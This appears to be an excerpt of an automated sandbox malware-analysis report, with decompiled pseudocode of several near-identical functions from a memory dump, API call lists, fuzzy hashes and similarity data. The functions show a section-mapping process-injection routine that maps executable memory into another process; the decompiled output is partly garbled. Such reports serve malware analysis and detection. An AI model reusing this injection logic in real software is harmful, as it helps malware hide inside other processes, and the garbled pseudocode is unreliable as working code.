			E0040156B(void* __edx, void* __eflags, void* __fp0, intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* _v288;
				void* __ebx;
				void* __edi;
				intOrPtr _t88;
				long _t91;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				void* _t128;
				intOrPtr _t129;
				long* _t132;
				void* _t174;
				long _t175;
				long* _t182;
				intOrPtr* _t183;
				HANDLE* _t184;
				HANDLE* _t185;
				intOrPtr _t198;
				void* _t199;
				void* _t200;
				long _t218;
				void* _t223;

				_t223 = __fp0;
				_push(0x36c);
				_t200 = _t199 + 4;
				L00401271(0x15a2, _t128, _t174, __eflags);
				_t129 = _a4;
				_t175 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				_v96 = _t88;
				_t182 =  &_v100;
				 *_t182 = _t175;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t182);
				_t91 =  *_t182;
				if(_t91 == 0) {
					L63:
					return L00401271(0x15a2, _t129, _t175, _t222);
				}
				_t132 =  &_v52;
				 *_t132 = _t91;
				_t132[1] = _t175;
				_t183 =  &_v44;
				 *((intOrPtr*)(_t129 + 0x10))(_t183, 0x18);
				 *_t183 = 0x18;
				_push( &_v52);
				_push(_t183);
				_push(0x40);
				_push( &_v20);
				if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t175, _t175, 2) == 0) {
					_v12 = _t175;
					_t99 =  &_v84;
					 *(_t99 + 4) = _t175;
					 *_t99 = 0x5000;
					_t184 =  &_v88;
					if(NtCreateSection(_t184, 6, _t175, _t99, 4, 0x8000000, _t175) == 0) {
						_push(_v84);
						_pop( *_t25);
						_t122 =  &_v72;
						 *_t122 = _t175;
						if(NtMapViewOfSection( *_t184, 0xffffffff, _t122, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
							_t124 =  &_v64;
							 *_t124 = _t175;
							if(NtMapViewOfSection( *_t184, _v16, _t124, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
								_t198 = _v72;
								 *((intOrPtr*)(_t129 + 0x20))(_t175, _t198, 0x104);
								 *((intOrPtr*)(_t198 + 0x208)) = _a16;
								_v12 = _v12 + 1;
							}
						}
					}
					_t101 =  &_v84;
					 *(_t101 + 4) = _t175;
					 *_t101 = _a12 + 0x10000;
					_t185 =  &_v92;
					if(NtCreateSection(_t185, 0xe, _t175, _t101, 0x40, 0x8000000, _t175) == 0) {
						while(_v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t103 =  &_v76;
							 *_t103 = _t175;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t103, _t175, _t175, _t175,  &_v60, 1, _t175, 4) != 0) {
								goto L63;
							}
							_t105 =  &_v68;
							 *_t105 = _t175;
							_t218 = NtMapViewOfSection( *_t185, _v16, _t105, _t175, _t175, _t175,  &_v60, 1, _t175, 0x20);
							if(_t218 != 0) {
								goto L63;
							}
							L21();
							if(_t218 != 0 || _t218 == 0) {
								L25:
								asm("lodsb");
								goto L43;
								asm("loop 0xffffffc7");
								switch(0x4017c8) {
								}
							} else {
								if(_t218 < 0) {
									continue;
								}
								asm("cmpsd");
								_t200 = _t200 - 1;
								goto L25;
							}
						}
					}
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction ID: 4e6cf93ab59cf35e3a3a48edc2c016eb71cd13ef699383e81882b5db717c4c63
Opcode Fuzzy Hash: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction Fuzzy Hash: DD514D71900208FBEB209F95CC49FAF7BB8FF85710F10412AF912BA2E5E6749901DB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401581 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00401581(void* __ebx, void* __edx, void* __edi, void* __eflags, void* __fp0) {
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t129;
				long* _t133;
				long _t176;
				long* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				void* _t205;
				long _t224;
				void* _t229;

				_t229 = __fp0;
				asm("lodsb");
				_push(0x36c);
				_t205 = _t204 + 4;
				L00401271(0x15a2, __ebx, __edi, __eflags);
				_t129 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t88;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t184);
				_t91 =  *_t184;
				if(_t91 != 0) {
					_t133 = _t202 - 0x30;
					 *_t133 = _t91;
					_t133[1] = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t99 = _t202 - 0x50;
						 *(_t99 + 4) = _t176;
						 *_t99 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t99, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t122 = _t202 - 0x44;
							 *_t122 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t124 = _t202 - 0x3c;
								 *_t124 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t124, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t101 = _t202 - 0x50;
						 *(_t101 + 4) = _t176;
						 *_t101 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						if(NtCreateSection(_t188, 0xe, _t176, _t101, 0x40, 0x8000000, _t176) == 0) {
							while( *(_t202 - 8) != 0) {
								 *_t46 =  *(_t202 - 0x50);
								_t103 = _t202 - 0x48;
								 *_t103 = _t176;
								if(NtMapViewOfSection( *_t188, 0xffffffff, _t103, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t105 = _t202 - 0x40;
									 *_t105 = _t176;
									_t224 = NtMapViewOfSection( *_t188,  *(_t202 - 0xc), _t105, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 0x20);
									if(_t224 == 0) {
										L21();
										if(_t224 != 0 || _t224 == 0) {
											L25:
											asm("lodsb");
											goto L43;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t224 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t205 = _t205 - 1;
												goto L25;
											}
										}
									}
								}
								goto L63;
							}
						}
					}
				}
				L63:
				_t93 = L00401271(0x15a2, _t129, _t176, _t228);
				return _t93;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction ID: 261b6cc0bc968e0ced8050ca7f20839481a744be2ea717bb7b43cd06ccdbd1b7
Opcode Fuzzy Hash: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction Fuzzy Hash: 7B510B71900209BFEB209F91CC49FAF7BB8FF85B10F104169F911BA2E5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401577(signed int __eax, void* __ebx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t135;
				long _t178;
				long* _t186;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;
				signed int _t212;
				long _t226;
				void* _t231;

				_t231 = __fp0;
				_t212 = __eax ^ 0x15a2b8d3;
				_push(0x36c);
				_t207 = _t206 + 4;
				L00401271(0x15a2, __ebx, __edi, _t212);
				_t131 =  *((intOrPtr*)(_t204 + 8));
				_t178 = 0;
				 *((intOrPtr*)(_t204 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t204 - 0x34)) =  *((intOrPtr*)(_t204 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t204 - 0x5c)) = _t90;
				_t186 = _t204 - 0x60;
				 *_t186 = _t178;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t186);
				_t93 =  *_t186;
				if(_t93 != 0) {
					_t135 = _t204 - 0x30;
					 *_t135 = _t93;
					_t135[1] = _t178;
					_t188 = _t204 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t204 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t204 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t204 - 0x10), 0xffffffff, 0xffffffff, _t204 - 0xc, _t178, _t178, 2) == 0) {
						 *(_t204 - 8) = _t178;
						_t101 = _t204 - 0x50;
						 *(_t101 + 4) = _t178;
						 *_t101 = 0x5000;
						_t189 = _t204 - 0x54;
						if(NtCreateSection(_t189, 6, _t178, _t101, 4, 0x8000000, _t178) == 0) {
							 *_t25 =  *(_t204 - 0x50);
							_t124 = _t204 - 0x44;
							 *_t124 = _t178;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t124, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
								_t126 = _t204 - 0x3c;
								 *_t126 = _t178;
								if(NtMapViewOfSection( *_t189,  *(_t204 - 0xc), _t126, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t203 =  *(_t204 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t178, _t203, 0x104);
									 *((intOrPtr*)(_t203 + 0x208)) =  *((intOrPtr*)(_t204 + 0x14));
									 *(_t204 - 8) =  *(_t204 - 8) + 1;
								}
							}
						}
						_t103 = _t204 - 0x50;
						 *(_t103 + 4) = _t178;
						 *_t103 =  *((intOrPtr*)(_t204 + 0x10)) + 0x10000;
						_t190 = _t204 - 0x58;
						if(NtCreateSection(_t190, 0xe, _t178, _t103, 0x40, 0x8000000, _t178) == 0) {
							while( *(_t204 - 8) != 0) {
								 *_t46 =  *(_t204 - 0x50);
								_t105 = _t204 - 0x48;
								 *_t105 = _t178;
								if(NtMapViewOfSection( *_t190, 0xffffffff, _t105, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t107 = _t204 - 0x40;
									 *_t107 = _t178;
									_t226 = NtMapViewOfSection( *_t190,  *(_t204 - 0xc), _t107, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 0x20);
									if(_t226 == 0) {
										L20();
										if(_t226 != 0 || _t226 == 0) {
											L24:
											asm("lodsb");
											goto L42;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t226 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t207 = _t207 - 1;
												goto L24;
											}
										}
									}
								}
								goto L62;
							}
						}
					}
				}
				L62:
				_t95 = L00401271(0x15a2, _t131, _t178, _t230);
				return _t95;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction ID: b0faeeba7e18bafba690b3cb0d97e2e89bbfd40d66e78b2ea794a9924a670d05
Opcode Fuzzy Hash: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction Fuzzy Hash: 08511B71900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00401587(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				void* _t87;
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t136;
				long _t179;
				long* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				void* _t207;
				void* _t208;
				intOrPtr _t213;
				long _t227;
				void* _t232;

				_t232 = __fp0;
				asm("out 0xdc, al");
				_t1 = _t205 + 0x68;
				 *_t1 =  *((intOrPtr*)(_t205 + 0x68)) + __ecx;
				_t213 =  *_t1;
				_push(0x36c);
				_t208 = _t207 + 4;
				L00401271(_t87, __ebx, __edi, _t213);
				_t131 =  *((intOrPtr*)(_t205 + 8));
				_t179 = 0;
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t90;
				_t187 = _t205 - 0x60;
				 *_t187 = _t179;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t187);
				_t93 =  *_t187;
				if(_t93 != 0) {
					_t136 = _t205 - 0x30;
					 *_t136 = _t93;
					_t136[1] = _t179;
					_t189 = _t205 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t189, 0x18);
					 *_t189 = 0x18;
					_push(_t205 - 0x30);
					_push(_t189);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t179, _t179, 2) == 0) {
						 *(_t205 - 8) = _t179;
						_t101 = _t205 - 0x50;
						 *(_t101 + 4) = _t179;
						 *_t101 = 0x5000;
						_t190 = _t205 - 0x54;
						if(NtCreateSection(_t190, 6, _t179, _t101, 4, 0x8000000, _t179) == 0) {
							 *_t27 =  *(_t205 - 0x50);
							_t124 = _t205 - 0x44;
							 *_t124 = _t179;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t124, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
								_t126 = _t205 - 0x3c;
								 *_t126 = _t179;
								if(NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t126, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t179, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *(_t205 - 8) =  *(_t205 - 8) + 1;
								}
							}
						}
						_t103 = _t205 - 0x50;
						 *(_t103 + 4) = _t179;
						 *_t103 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t191 = _t205 - 0x58;
						if(NtCreateSection(_t191, 0xe, _t179, _t103, 0x40, 0x8000000, _t179) == 0) {
							while( *(_t205 - 8) != 0) {
								 *_t48 =  *(_t205 - 0x50);
								_t105 = _t205 - 0x48;
								 *_t105 = _t179;
								if(NtMapViewOfSection( *_t191, 0xffffffff, _t105, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t107 = _t205 - 0x40;
									 *_t107 = _t179;
									_t227 = NtMapViewOfSection( *_t191,  *(_t205 - 0xc), _t107, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 0x20);
									if(_t227 == 0) {
										L17();
										if(_t227 != 0 || _t227 == 0) {
											L21:
											asm("lodsb");
											goto L39;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t227 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t208 = _t208 - 1;
												goto L21;
											}
										}
									}
								}
								goto L59;
							}
						}
					}
				}
				L59:
				_t95 = L00401271(0x15a2, _t131, _t179, _t231);
				return _t95;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction ID: eba5a94354b6d959a908896b75b9ac4ab9a555b93fbf6af3f2d26d8a5be8b00e
Opcode Fuzzy Hash: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction Fuzzy Hash: 65512875900249BFEF208F91CC48FEFBBB8FF85B00F104159F911AA2A5E6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401584 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401584(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t85;
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t130;
				long* _t134;
				long _t177;
				long* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				void* _t206;
				void* _t211;
				long _t225;
				void* _t230;

				_t230 = __fp0;
				_t129 = __ebx - 1;
				_t211 = __ebx - 1;
				_push(0x36c);
				_t206 = _t205 + 4;
				L00401271(_t85, _t129, __edi, _t211);
				_t130 =  *((intOrPtr*)(_t203 + 8));
				_t177 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t88;
				_t185 = _t203 - 0x60;
				 *_t185 = _t177;
				 *((intOrPtr*)(_t130 + 0x4c))(_t88, _t185);
				_t91 =  *_t185;
				if(_t91 != 0) {
					_t134 = _t203 - 0x30;
					 *_t134 = _t91;
					_t134[1] = _t177;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t177, _t177, 2) == 0) {
						 *(_t203 - 8) = _t177;
						_t99 = _t203 - 0x50;
						 *(_t99 + 4) = _t177;
						 *_t99 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t177, _t99, 4, 0x8000000, _t177) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t122 = _t203 - 0x44;
							 *_t122 = _t177;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t122, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
								_t124 = _t203 - 0x3c;
								 *_t124 = _t177;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t124, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(_t177, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t101 = _t203 - 0x50;
						 *(_t101 + 4) = _t177;
						 *_t101 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						if(NtCreateSection(_t189, 0xe, _t177, _t101, 0x40, 0x8000000, _t177) == 0) {
							while( *(_t203 - 8) != 0) {
								 *_t46 =  *(_t203 - 0x50);
								_t103 = _t203 - 0x48;
								 *_t103 = _t177;
								if(NtMapViewOfSection( *_t189, 0xffffffff, _t103, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t105 = _t203 - 0x40;
									 *_t105 = _t177;
									_t225 = NtMapViewOfSection( *_t189,  *(_t203 - 0xc), _t105, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 0x20);
									if(_t225 == 0) {
										L19();
										if(_t225 != 0 || _t225 == 0) {
											L23:
											asm("lodsb");
											goto L41;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t225 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t206 = _t206 - 1;
												goto L23;
											}
										}
									}
								}
								goto L61;
							}
						}
					}
				}
				L61:
				_t93 = L00401271(0x15a2, _t130, _t177, _t229);
				return _t93;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction ID: ff4589d9dd45cbe131ca404f5a1a7b84b96daa50389d3937c11961242829b966
Opcode Fuzzy Hash: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction Fuzzy Hash: 3F51FB75900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401727 Relevance: 3.2, APIs: 2, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 1b174bee9bc4ce0ddfe2b487e6742de9121d706ac4a08f4dc1842a7cd9d6002a
